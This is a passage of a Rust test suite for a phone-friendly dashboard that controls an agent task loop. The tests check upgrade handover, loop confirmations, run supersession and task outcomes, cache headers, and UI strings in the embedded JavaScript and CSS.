14006 ui.park_for_upgrade().expect("first park");
14007 ui.park_for_upgrade().expect("second park");
14008 assert!(handed_over(&home, ui).await);
14009 }
14010
14011 #[tokio::test]
14012 async fn a_stop_during_the_handover_wait_is_honoured() {
14013 let home = TempDir::new().expect("temp home");
14014 let ui = idle_ui(&home);
14015 ui.start_loop(None).expect("start");
14016 ui.park_for_upgrade().expect("park");
14017 ui.stop_loop(None, false).expect("stop");
14018 assert!(!handed_over(&home, ui).await);
14019 }
14020
14021 #[tokio::test]
14022 async fn an_idle_loop_stays_stopped_across_the_handover() {
14023 let home = TempDir::new().expect("temp home");
14024 let ui = idle_ui(&home);
14025 ui.park_for_upgrade().expect("park");
14026 assert!(!handed_over(&home, ui).await);
14027
14028 let successor = idle_ui(&home);
14029 assert!(!successor.resume_after_handover(false));
14030 assert!(!successor.loop_view(None).running);
14031 }
14032
14033 #[tokio::test]
14034 async fn a_loop_the_operator_stopped_is_not_resumed() {
14035 let home = TempDir::new().expect("temp home");
14036 let ui = idle_ui(&home);
14037 ui.start_loop(None).expect("start");
14038 ui.stop_loop(None, false).expect("stop");
14039 ui.park_for_upgrade().expect("park");
14040 assert!(!handed_over(&home, ui).await);
14041 }
14042
14043 #[test]
14044 fn only_an_explicit_one_requests_a_resume() {
14045 assert!(!resume_requested(None));
14046 assert!(!resume_requested(Some("0".into())));
14047 assert!(!resume_requested(Some("".into())));
14048 assert!(resume_requested(Some("1".into())));
14049 }
14050
14051 #[test]
14052 fn the_upgrade_button_arms_before_it_restarts_anything() {
14053 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14056 assert!(APP_JS.contains("Replace the binary and restart?"));
14057 assert!(APP_JS.contains("function confirmed("));
14058 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14063 assert!(
14067 APP_JS.contains("Parking, then restarting"),
14068 "the button says what it is waiting for"
14069 );
14070 assert!(APP_JS.contains("if (!out.to)"));
14073 }
14074
14075 #[test]
14076 fn stopping_the_loop_arms_but_starting_does_not() {
14077 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14080 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14081 assert!(APP_JS.contains("confirmed(button, question)"));
14082 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
14085 assert!(APP_JS.contains("const label = btn.textContent;"));
14086 assert!(!APP_JS.contains("Neither direction is guarded"));
14087 }
14088
14089 #[test]
14090 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14091 assert!(
14092 APP_JS.contains("state.health.version"),
14093 "the operator wants to know what is running even with nothing newer"
14094 );
14095 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14096 }
14097
14098 #[test]
14099 fn the_upgrade_button_names_its_destination() {
14100 assert!(
14101 APP_JS.contains("`Update to ${update.to}`"),
14102 "pressing the button should not be a surprise about what it moves to"
14103 );
14104 }
14105
14106 #[test]
14107 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14108 for stage in ["downloading", "replaced", "parking", "restarting"] {
14109 assert!(
14110 APP_JS.contains(&format!("\"{stage}\"")),
14111 "the phone must be able to tell {stage} apart from the others"
14112 );
14113 }
14114 assert!(APP_JS.contains(".waiting_on"));
14115 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14120 assert!(APP_JS.contains("reconnects on its own"));
14121 }
14122
14123 #[test]
14124 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
14125 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
14134 ..APP_JS.find("function upgrade(").expect("upgrade")];
14135 assert!(
14136 !body.contains(
14137 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
14138 ),
14139 "a failed upgrade must not take the whole strip over the way it used to"
14140 );
14141 assert!(
14142 body.contains("upgradeFailNote"),
14143 "the failure has to reach the loop's own note instead"
14144 );
14145 assert_eq!(
14149 body.matches("upgradeFailNote].filter(Boolean).join")
14150 .count(),
14151 2,
14152 "both loop-why writers (quiet and control) must fold the note in"
14153 );
14154 }
14155
14156 #[test]
14157 fn an_overdue_upgrade_eventually_asks_for_a_human() {
14158 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
14161 assert!(APP_JS.contains("function upgradeOverdue("));
14162 }
14163
14164 #[test]
14165 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
14166 assert!(
14167 APP_JS.contains("Updated to ${upgradeInfo.to"),
14168 "the operator who asked for the restart wants to know it worked"
14169 );
14170 }
14171
14172 #[test]
14173 fn an_error_is_visible_from_where_the_button_is() {
14174 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
14179 ..APP_CSS.find(".alert-text").expect(".alert-text")];
14180 assert!(
14181 alert.contains("position: fixed"),
14182 "an error about the thing under your thumb has to be visible from \
14183 where your thumb is: {alert}"
14184 );
14185 assert!(
14186 alert.contains("z-index: 25"),
14187 "above the dock (20) and the run-actions FAB (15), so neither \
14188 buries it: {alert}"
14189 );
14190 assert!(
14191 alert.contains("var(--tap)"),
14192 "and clear of the dock and the home indicator: {alert}"
14193 );
14194 assert!(
14197 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
14198 "the FAB's column stays free: {alert}"
14199 );
14200 }
14201
14202 #[tokio::test]
14203 async fn an_older_attempt_says_what_replaced_it() {
14204 let fx = Fixture::start().await;
14205 let q = fx.queue();
14206 let runs = fx.runs();
14207 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14208 write_run(&runs, first, RunStatus::Stalled);
14209 write_run(&runs, second, RunStatus::Blocked);
14210
14211 let mut t = Task::new(
14212 "one task".to_owned(),
14213 "do it".to_owned(),
14214 PathBuf::from("/repo"),
14215 Source::Human,
14216 );
14217 t.runs = vec![first.to_owned(), second.to_owned()];
14218 q.put(&mut t).expect("put");
14219
14220 let rows = fx.get("/api/runs").await.json();
14224 let by = |short: &str| -> Value {
14225 rows.as_array()
14226 .unwrap()
14227 .iter()
14228 .find(|r| r["short"] == short)
14229 .cloned()
14230 .unwrap_or(Value::Null)
14231 };
14232 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
14233 assert!(
14234 by("bbbb")["superseded_by"].is_null(),
14235 "the latest attempt is not superseded by anything"
14236 );
14237 assert!(APP_JS.contains("run.superseded_by"));
14239 assert!(APP_JS.contains("Superseded by"));
14240 }
14241
14242 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
14243 let mut t = Task::new(
14244 "one task".to_owned(),
14245 "do it".to_owned(),
14246 PathBuf::from("/repo"),
14247 Source::Human,
14248 );
14249 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14250 t.status = status;
14251 t
14252 }
14253
14254 #[test]
14255 fn source_link_picks_the_page_that_filed_the_task() {
14256 let agent = |node: &str| Source::Agent {
14257 run: "20260904-014455-ab12".to_owned(),
14258 node: node.to_owned(),
14259 };
14260 let chat = source_link(&agent("chat")).expect("chat link");
14261 assert_eq!(chat.kind, "chat");
14262 assert_eq!(chat.id, "20260904-014455-ab12");
14263 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
14264 let run = source_link(&agent("implement")).expect("run link");
14265 assert_eq!(
14266 (run.kind, run.href.as_str()),
14267 ("run", "#/runs/20260904-014455-ab12")
14268 );
14269 assert_eq!(source_link(&Source::Human), None);
14270 assert_eq!(
14271 source_link(&Source::Issue {
14272 number: 3,
14273 repo: "o/r".to_owned()
14274 }),
14275 None
14276 );
14277 let odd = source_link(&Source::Agent {
14278 run: "a b/c".to_owned(),
14279 node: "chat".to_owned(),
14280 })
14281 .expect("link");
14282 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
14283 }
14284
14285 #[test]
14286 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
14287 assert!(
14288 !APP_JS.contains("src.node === \"chat\""),
14289 "inline href rule is back"
14290 );
14291 assert!(
14292 APP_JS.matches("sourceLinkOf(").count() >= 4,
14293 "helper must serve every page"
14294 );
14295 assert!(
14296 APP_JS.matches("openChatLink(").count() >= 3,
14297 "the run page still needs its explicit chat link"
14298 );
14299 assert!(
14300 !APP_JS.contains("const openChat = el("),
14301 "the Queue card duplicates its source label link again"
14302 );
14303 assert!(
14304 APP_JS.contains("metaKids.push(link ? el(\"a\""),
14305 "the task page must link a chat source label too"
14306 );
14307 }
14308
14309 #[test]
14310 fn task_ref_carries_the_source_link_for_a_chat_task() {
14311 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14312 t.source = Source::Agent {
14313 run: "20260904-014455-ab12".to_owned(),
14314 node: "chat".to_owned(),
14315 };
14316 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
14317 let v = serde_json::to_value(&out).expect("json");
14318 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
14319 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
14320 assert_eq!(v["source_label"], t.source.label());
14321
14322 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14323 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
14324 .expect("json");
14325 assert!(v["source_link"].is_null(), "{v}");
14326 }
14327
14328 #[test]
14329 fn task_view_serializes_source_link() {
14330 let mut t = Task::new(
14331 "t".to_owned(),
14332 "t".to_owned(),
14333 PathBuf::from("/repo"),
14334 Source::Agent {
14335 run: "20260901-000000-aaaa".to_owned(),
14336 node: "implement".to_owned(),
14337 },
14338 );
14339 t.runs.clear();
14340 let v = serde_json::to_value(TaskView::from(t)).expect("json");
14341 assert_eq!(v["source_link"]["kind"], "run", "{v}");
14342 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
14343 }
14344
14345 #[tokio::test]
14346 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
14347 let fx = Fixture::start().await;
14348 let runs = fx.runs();
14349 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14350 write_run(&runs, old, RunStatus::Blocked);
14351 write_run(&runs, new, RunStatus::Merged);
14352 let mut t = outcome_task(&[old, new], TaskStatus::Done);
14353 fx.queue().put(&mut t).expect("put");
14354
14355 let view = fx.get(&format!("/api/runs/{old}")).await.json();
14356 let task = &view["task"];
14357 assert_eq!(task["status"], "done");
14358 assert_eq!(task["is_latest"], false);
14359 assert_eq!(task["latest"]["short"], "bbbb");
14360 assert_eq!(task["finished_by"]["id"], new);
14361 assert_eq!(task["finished_by"]["outcome"], "merged");
14362 assert_eq!(task["closed_by_hand"], false);
14363 assert_eq!(view["status"], "blocked", "the run keeps its own status");
14364 assert!(APP_JS.contains("finished_by"));
14365 assert!(APP_JS.contains("superseded by run"));
14366 }
14367
14368 #[tokio::test]
14369 async fn the_latest_run_reports_a_held_task_without_a_successor() {
14370 let fx = Fixture::start().await;
14371 let runs = fx.runs();
14372 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14373 write_run(&runs, old, RunStatus::Stalled);
14374 write_run(&runs, new, RunStatus::Blocked);
14375 let mut t = outcome_task(&[old, new], TaskStatus::Held);
14376 fx.queue().put(&mut t).expect("put");
14377
14378 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
14379 assert_eq!(task["status"], "held");
14380 assert_eq!(task["is_latest"], true);
14381 assert!(task["latest"].is_null());
14382 assert!(task["finished_by"].is_null());
14383 assert_eq!(task["closed_by_hand"], false);
14384 }
14385
14386 #[tokio::test]
14387 async fn a_direct_run_has_no_task_outcome() {
14388 let fx = Fixture::start().await;
14389 let runs = fx.runs();
14390 let id = "20260901-000000-aaaa";
14391 write_run(&runs, id, RunStatus::Blocked);
14392 let view = fx.get(&format!("/api/runs/{id}")).await.json();
14393 assert!(view["task"].is_null());
14394 }
14395
14396 #[test]
14397 fn task_outcome_does_not_guess_a_finishing_run() {
14398 let a = "20260901-000000-aaaa";
14399 let b = "20260901-000000-bbbb";
14400 let c = "20260901-000000-cccc";
14401 let dir = tempfile::tempdir().expect("tempdir");
14402 write_run(dir.path(), a, RunStatus::Blocked);
14403 write_run(dir.path(), b, RunStatus::VerifiedNoop);
14404 let read = |id: &str| read_run(dir.path(), id).ok();
14406 let t = outcome_task(&[a, b, c], TaskStatus::Done);
14409 let out = task_outcome(&t, a, 3, read);
14410 assert!(out.finished_by.is_none());
14411 assert!(out.closed_by_hand);
14412 let latest = out.latest.expect("latest");
14413 assert_eq!(latest.id, c);
14414 assert_eq!(latest.status, None);
14415 assert_eq!(latest.outcome, "record unreadable");
14416
14417 write_run(dir.path(), c, RunStatus::Ready);
14419 let t = outcome_task(&[a, c], TaskStatus::Done);
14420 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
14421 assert_eq!(out.finished_by.expect("finisher").id, c);
14422 assert!(!out.closed_by_hand);
14423
14424 let t = outcome_task(&[a, b, a], TaskStatus::Held);
14426 assert!(task_outcome(&t, a, 3, read).is_latest);
14427 }
14428
14429 #[tokio::test]
14430 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
14431 let fx = Fixture::start().await;
14436 let q = fx.queue();
14437 let runs = fx.runs();
14438 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
14439 write_run(&runs, first, RunStatus::Blocked);
14440 write_run(&runs, second, RunStatus::Merged);
14441
14442 let mut t = Task::new(
14443 "one task".to_owned(),
14444 "do it".to_owned(),
14445 PathBuf::from("/repo"),
14446 Source::Human,
14447 );
14448 t.runs = vec![first.to_owned(), second.to_owned()];
14449 q.put(&mut t).expect("put");
14450
14451 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
14452 assert_eq!(earlier["superseded_by"], "dddd");
14453 assert_eq!(earlier["latest_attempt"]["id"], second);
14454 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
14455 assert_eq!(
14456 earlier["latest_attempt"]["resolved"], true,
14457 "the run that replaced it landed, so this one reads as settled"
14458 );
14459
14460 let later = fx.get(&format!("/api/runs/{second}")).await.json();
14461 assert!(
14462 later["superseded_by"].is_null(),
14463 "the latest attempt is not superseded by anything"
14464 );
14465 assert!(
14466 later["latest_attempt"].is_null(),
14467 "the latest attempt has no later attempt of its own"
14468 );
14469
14470 assert!(APP_JS.contains("run.latest_attempt"));
14477 assert!(APP_JS.contains("data-superseded"));
14478 assert!(APP_JS.contains("#/runs/${latest.id}"));
14479 }
14480
14481 #[tokio::test]
14482 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
14483 let fx = Fixture::start().await;
14489 let q = fx.queue();
14490 let runs = fx.runs();
14491 let (a, b, c) = (
14492 "20260901-000000-aaaa",
14493 "20260901-000000-bbbb",
14494 "20260901-000000-cccc",
14495 );
14496 write_run(&runs, a, RunStatus::Blocked);
14497 write_run(&runs, b, RunStatus::Blocked);
14498 write_run(&runs, c, RunStatus::Merged);
14499
14500 let mut t = Task::new(
14501 "retried twice".to_owned(),
14502 "do it".to_owned(),
14503 PathBuf::from("/repo"),
14504 Source::Human,
14505 );
14506 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
14507 q.put(&mut t).expect("put");
14508
14509 let view = fx.get(&format!("/api/runs/{a}")).await.json();
14510 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
14511 assert_eq!(
14512 view["latest_attempt"]["id"], c,
14513 "the chain's current head, not the intermediate Blocked retry"
14514 );
14515 assert_eq!(view["latest_attempt"]["resolved"], true);
14516
14517 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
14518 assert_eq!(mid["latest_attempt"]["id"], c);
14519 assert_eq!(mid["latest_attempt"]["resolved"], true);
14520 }
14521
14522 #[tokio::test]
14523 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
14524 let fx = Fixture::start().await;
14525 let q = fx.queue();
14526 let runs = fx.runs();
14527
14528 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
14531 write_run(&runs, still_blocked_a, RunStatus::Blocked);
14532 write_run(&runs, still_blocked_b, RunStatus::Blocked);
14533 let mut t1 = Task::new(
14534 "still stuck".to_owned(),
14535 "do it".to_owned(),
14536 PathBuf::from("/repo"),
14537 Source::Human,
14538 );
14539 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
14540 q.put(&mut t1).expect("put");
14541 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
14542 assert_eq!(view1["latest_attempt"]["resolved"], false);
14543 assert_eq!(view1["latest_attempt"]["status"], "blocked");
14544 assert_eq!(view1["latest_attempt"]["done"], true);
14545
14546 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
14548 write_run(&runs, run_a, RunStatus::Blocked);
14549 write_run(&runs, run_b, RunStatus::Implementing);
14550 let mut t3 = Task::new(
14551 "retrying".to_owned(),
14552 "do it".to_owned(),
14553 PathBuf::from("/repo"),
14554 Source::Human,
14555 );
14556 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
14557 q.put(&mut t3).expect("put");
14558 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
14559 assert_eq!(view3["latest_attempt"]["id"], run_b);
14560 assert_eq!(view3["latest_attempt"]["resolved"], false);
14561 assert_eq!(view3["latest_attempt"]["done"], false);
14562
14563 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
14568 write_run(&runs, noop_a, RunStatus::Blocked);
14569 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
14570 let mut t2 = Task::new(
14571 "claims done".to_owned(),
14572 "do it".to_owned(),
14573 PathBuf::from("/repo"),
14574 Source::Human,
14575 );
14576 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
14577 q.put(&mut t2).expect("put");
14578 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
14579 assert_eq!(
14580 view2["latest_attempt"]["resolved"], false,
14581 "an unverified no-op claim must not read as a confirmed finish"
14582 );
14583
14584 assert!(APP_JS.contains("latest.resolved"));
14587 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
14590 assert!(APP_JS.contains("Latest attempt: "));
14591 assert!(APP_JS.contains("in flight"));
14592 assert!(APP_JS.contains("not resolved"));
14593 }
14594
14595 #[tokio::test]
14596 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
14597 let fx = Fixture::start().await;
14598 let js = fx.get("/app.js").await;
14604 assert_eq!(js.status, 200);
14605 let tag = js
14606 .header("etag")
14607 .expect("an etag to revalidate against")
14608 .to_owned();
14609 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
14610 assert_eq!(
14611 js.header("cache-control"),
14612 Some("no-cache, must-revalidate"),
14613 "the phone has to ask every time"
14614 );
14615
14616 let again = fx
14619 .get_with("/app.js", &[("if-none-match", tag.as_str())])
14620 .await;
14621 assert_eq!(
14622 again.status, 304,
14623 "a deck it already has costs one round trip"
14624 );
14625 assert!(again.body.is_empty(), "304 carries no body");
14626
14627 let weak = fx
14630 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
14631 .await;
14632 assert_eq!(weak.status, 304);
14633 let stale = fx
14634 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
14635 .await;
14636 assert_eq!(stale.status, 200, "an older build must be replaced");
14637 assert!(stale.body.contains("renderRunActions"));
14638 }
14639
14640 #[test]
14641 fn the_task_detail_has_an_actions_fab_and_sheet() {
14642 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
14643 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
14644 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
14645 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
14647 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
14648 assert!(APP_JS.contains("renderTaskActions(task);"));
14650 assert!(APP_JS.contains("renderTaskActions(null);"));
14651 let sheet = APP_JS
14653 .find("function renderTaskActions")
14654 .expect("sheet renderer");
14655 let body = &APP_JS[sheet..sheet + 3000];
14656 assert!(body.contains("changePriority("));
14657 assert!(body.contains("openTaskEdit(task)"));
14658 assert!(body.contains("renderTaskHoldBox(host"));
14659 assert!(body.contains("renderTaskDoneBox(host"));
14660 assert!(body.contains("renderTaskDeleteBox(host"));
14661 assert!(APP_JS.contains("API.priority(id)"));
14662 assert!(APP_JS.contains("API.deleteTask(id)"));
14663 assert!(APP_JS.contains("location.hash = \"#/queue\""));
14665 assert!(APP_JS.contains("$(\"task-actions-error\")"));
14667 }
14668
14669 #[test]
14670 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
14671 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
14672 let actions = INDEX_HTML
14673 .find("id=\"run-actions-box\"")
14674 .expect("actions box");
14675 assert!(task < actions, "the task entry comes first in the sheet");
14676 assert!(APP_JS.contains("renderRunTaskEntry"));
14677 assert!(APP_JS.contains("\"Open task \""));
14678 assert!(APP_JS.contains("started directly, no task"));
14680 assert!(APP_JS.contains("sheet-task-link"));
14681 assert!(APP_JS.contains("task-chip-link"));
14682 }
14683
14684 #[test]
14685 fn the_deck_never_sends_the_operator_to_a_terminal() {
14686 assert!(
14689 !APP_JS.contains("Run `magi fold` first"),
14690 "the deck must offer the fold, not prescribe a shell command"
14691 );
14692 assert!(APP_JS.contains("foldRun:"));
14693 assert!(APP_JS.contains("resumeRun:"));
14694 assert!(APP_JS.contains("renderRunActions"));
14695
14696 assert!(APP_JS.contains("armedFold"));
14698 assert!(APP_JS.contains("Yes, fold worktrees"));
14699
14700 assert!(APP_JS.contains("can no longer be resumed"));
14703 }
14704
14705 #[test]
14706 fn a_finished_run_explains_itself_with_its_own_last_line() {
14707 assert!(
14713 !APP_JS.contains("collapsed on agent quota"),
14714 "a stall must not be explained by a cause the deck did not check"
14715 );
14716 assert!(
14717 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
14718 "and a block must not offer a guess with an `or` in it"
14719 );
14720
14721 assert!(
14725 APP_JS.contains("setText(r.event, run.event || \"\")"),
14726 "the run's last line is rendered unconditionally"
14727 );
14728 assert!(
14729 !APP_JS.contains("moving && run.event"),
14730 "and never gated on the run still moving"
14731 );
14732
14733 assert!(APP_JS.contains("lost to quota"));
14735 }
14736
14737 #[test]
14759 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
14760 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
14761 let shapes_body_start =
14762 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
14763 let shapes_close = APP_JS[shapes_body_start..]
14764 .find("].map(")
14765 .expect("the shape list is closed by its done-computing .map(...)")
14766 + shapes_body_start;
14767 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
14768
14769 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
14770 for entry in shapes_src.split('{').skip(1) {
14771 let waiting = entry.contains("waiting: true");
14772 let dead = entry.contains("live: \"dead\"");
14773 let status_at =
14774 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
14775 let status_end = entry[status_at..]
14776 .find('"')
14777 .expect("the status string is closed")
14778 + status_at;
14779 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
14780 }
14781 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
14782
14783 let done_rule_marker = "done: !";
14787 let done_rule_at = APP_JS[shapes_close..]
14788 .find(done_rule_marker)
14789 .expect("the done rule follows the shape list")
14790 + shapes_close
14791 + done_rule_marker.len();
14792 let includes_at = APP_JS[done_rule_at..]
14793 .find(".includes(shape.status)")
14794 .expect("the done rule ends in .includes(shape.status)")
14795 + done_rule_at;
14796 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
14797 .trim()
14798 .trim_start_matches('[')
14799 .trim_end_matches(']')
14800 .split(',')
14801 .map(|s| s.trim().trim_matches('"'))
14802 .filter(|s| !s.is_empty())
14803 .collect();
14804
14805 let shapes: Vec<(bool, String, bool, bool)> = shapes
14806 .into_iter()
14807 .map(|(waiting, status, dead)| {
14808 let done = !not_done.contains(&status.as_str());
14809 (waiting, status, dead, done)
14810 })
14811 .collect();
14812
14813 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
14817 if waiting {
14818 return "waiting";
14819 }
14820 if dead
14821 && !matches!(
14822 status,
14823 "merged"
14824 | "ready"
14825 | "stalled"
14826 | "blocked"
14827 | "failed"
14828 | "verified_noop"
14829 | "superseded"
14830 | "already_in_base"
14831 )
14832 {
14833 return "stale";
14834 }
14835 match status {
14836 "merged" | "ready" => "landed",
14837 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
14838 | "already_in_base" => "ended",
14839 _ => "flight",
14840 }
14841 }
14842
14843 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
14846 match filter_key {
14847 "active" => !done,
14848 "flight" => !done && !waiting && !dead,
14849 "stale" => !done && !waiting && dead,
14850 "waiting" => waiting,
14851 "done" => done,
14852 "all" => true,
14853 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
14854 }
14855 }
14856
14857 let compatible = |section: &str, filter_key: &str| {
14858 shapes.iter().any(|(waiting, status, dead, done)| {
14859 run_section(*waiting, status, *dead) == section
14860 && filter_matches(filter_key, *waiting, *dead, *done)
14861 })
14862 };
14863
14864 let expected = [
14869 ("waiting", [true, false, false, true, true, true]),
14870 ("stale", [true, false, true, false, false, true]),
14871 ("flight", [true, true, false, false, false, true]),
14872 ("landed", [false, false, false, false, true, true]),
14873 ("ended", [false, false, false, false, true, true]),
14874 ];
14875 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
14876
14877 for (section, wants) in expected {
14878 for (filter_key, want) in filter_keys.iter().zip(wants) {
14879 assert_eq!(
14880 compatible(section, filter_key),
14881 want,
14882 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
14883 );
14884 }
14885 }
14886
14887 assert!(
14890 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
14891 );
14892 assert!(APP_JS.contains(
14893 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
14894 ));
14895 assert!(APP_JS.contains(
14896 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
14897 ));
14898 }
14899
14900 #[tokio::test]
14901 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
14902 let dir = tempfile::tempdir().expect("tempdir");
14906 let explicit = dir.path().join("not-a-checkout");
14907 std::fs::create_dir_all(&explicit).expect("create dir");
14908 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
14909
14910 let missing = dir.path().join("does-not-exist-at-all");
14911 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
14912 }
14913
14914 #[test]
14915 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
14916 assert!(APP_JS.contains("function statsDonutArcs"));
14917 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
14918 assert!(APP_JS.contains("function statusInBucket"));
14920 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
14921 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
14922 let buckets = [
14923 "merged",
14924 "ready",
14925 "in_progress",
14926 "blocked",
14927 "failed",
14928 "verified_noop",
14929 "superseded",
14930 "stalled",
14931 ];
14932 for key in buckets {
14933 let var = format!("--verdict-{key}:");
14934 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
14936 assert!(
14937 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
14938 "{key}"
14939 );
14940 }
14941 }
14942}